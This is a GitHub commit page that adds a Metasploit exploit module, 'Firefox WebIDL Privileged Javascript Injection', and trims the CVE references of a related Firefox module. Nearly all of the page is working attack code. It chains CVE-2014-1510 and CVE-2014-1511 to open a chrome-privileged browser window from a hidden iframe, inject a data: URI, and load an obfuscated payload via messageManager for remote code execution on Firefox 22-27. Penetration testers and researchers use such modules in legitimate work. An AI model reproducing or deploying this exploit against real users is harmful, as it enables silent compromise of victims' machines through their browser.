Skip to content

Commit 633eaab

Browse files
committed
Land rapid7#3714 - Firefox 22-27 WebIDL Privileged Javascript Injection
2 parents bf2c390 + 26cfed6 commit 633eaab

File tree

2 files changed

+152
-2
lines changed

2 files changed

+152
-2
lines changed

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,7 @@ def initialize(info = {})
3737
],
3838
'DisclosureDate' => "May 14 2013",
3939
'References' => [
40-
['CVE', '2013-1670'], # privileged access for content-level constructor
41-
['CVE', '2013-1710'] # further chrome injection
40+
['CVE', '2013-1710'] # chrome injection
4241
],
4342
'Targets' => [
4443
[
Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/exploitation/jsobfu'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
include Msf::Exploit::Remote::BrowserAutopwn
14+
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
15+
16+
autopwn_info({
17+
:ua_name => HttpClients::FF,
18+
:ua_maxver => "22.0",
19+
:ua_maxver => "27.0",
20+
:javascript => true,
21+
:rank => ExcellentRanking
22+
})
23+
24+
def initialize(info = {})
25+
super(update_info(info,
26+
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
27+
'Description' => %q{
28+
This exploit gains remote code execution on Firefox 22-27 by abusing two
29+
separate privilege escalation vulnerabilities in Firefox's Javascript
30+
APIs.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' => [
34+
'Marius Mlynski', # discovery and pwn2own exploit
35+
'joev' # metasploit module
36+
],
37+
'DisclosureDate' => "Mar 17 2014",
38+
'References' => [
39+
['CVE', '2014-1510'], # open chrome:// url in iframe
40+
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
41+
],
42+
'Targets' => [
43+
[
44+
'Universal (Javascript XPCOM Shell)', {
45+
'Platform' => 'firefox',
46+
'Arch' => ARCH_FIREFOX
47+
}
48+
],
49+
[
50+
'Native Payload', {
51+
'Platform' => %w{ java linux osx solaris win },
52+
'Arch' => ARCH_ALL
53+
}
54+
]
55+
],
56+
'DefaultTarget' => 0,
57+
'BrowserRequirements' => {
58+
:source => 'script',
59+
:ua_name => HttpClients::FF,
60+
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
61+
}
62+
))
63+
64+
register_options([
65+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
66+
], self.class)
67+
end
68+
69+
def on_request_exploit(cli, request, target_info)
70+
send_response_html(cli, generate_html(target_info))
71+
end
72+
73+
def generate_html(target_info)
74+
key = Rex::Text.rand_text_alpha(5 + rand(12))
75+
frame = Rex::Text.rand_text_alpha(5 + rand(12))
76+
r = Rex::Text.rand_text_alpha(5 + rand(12))
77+
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
78+
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
79+
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
80+
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
81+
82+
js = Rex::Exploitation::JSObfu.new(%Q|
83+
var opts = #{JSON.unparse(opts)};
84+
var key = opts['#{key}'];
85+
86+
// Load the chrome-privileged browser XUL script into an iframe
87+
var c = new mozRTCPeerConnection;
88+
c.createOffer(function(){},function(){
89+
window.open('chrome://browser/content/browser.xul', '#{frame}');
90+
step1();
91+
});
92+
93+
// Inject a data: URI into an internal frame inside of the browser
94+
// XUL script to pop open a new window with the chrome flag to prevent
95+
// the new window from being wrapped with browser XUL;
96+
function step1() {
97+
var clear = setInterval(function(){
98+
99+
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
100+
frames[0].frames[2].location;
101+
102+
// we base64 this to avoid the script tag screwing up things when obfuscated
103+
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
104+
clearInterval(clear);
105+
setTimeout(step2, 100);
106+
},10);
107+
}
108+
109+
// Step 2: load the chrome-level window up with a data URI, which
110+
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
111+
// into the frame, since that will respond to our messageManager
112+
// (this is important later)
113+
function step2() {
114+
var clear = setInterval(function(){
115+
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
116+
'src="about:blank"></iframe></body></html>';
117+
clearInterval(clear);
118+
setTimeout(step3, 100);
119+
}, 10);
120+
}
121+
122+
function step3() {
123+
var clear = setInterval(function(){
124+
if (!frames[0]) return; // will throw until the frame is accessible
125+
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
126+
clearInterval(clear);
127+
setTimeout(function(){top.vvv.close();}, 100);
128+
}, 10);
129+
}
130+
131+
|)
132+
133+
js.obfuscate
134+
135+
%Q|
136+
<!doctype html>
137+
<html>
138+
<body>
139+
<iframe id='#{frame}' name='#{frame}'
140+
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
141+
</iframe>
142+
<script>
143+
#{js}
144+
</script>
145+
#{datastore['CONTENT']}
146+
</body>
147+
</html>
148+
|
149+
end
150+
end
151+

0 commit comments

Comments
 (0)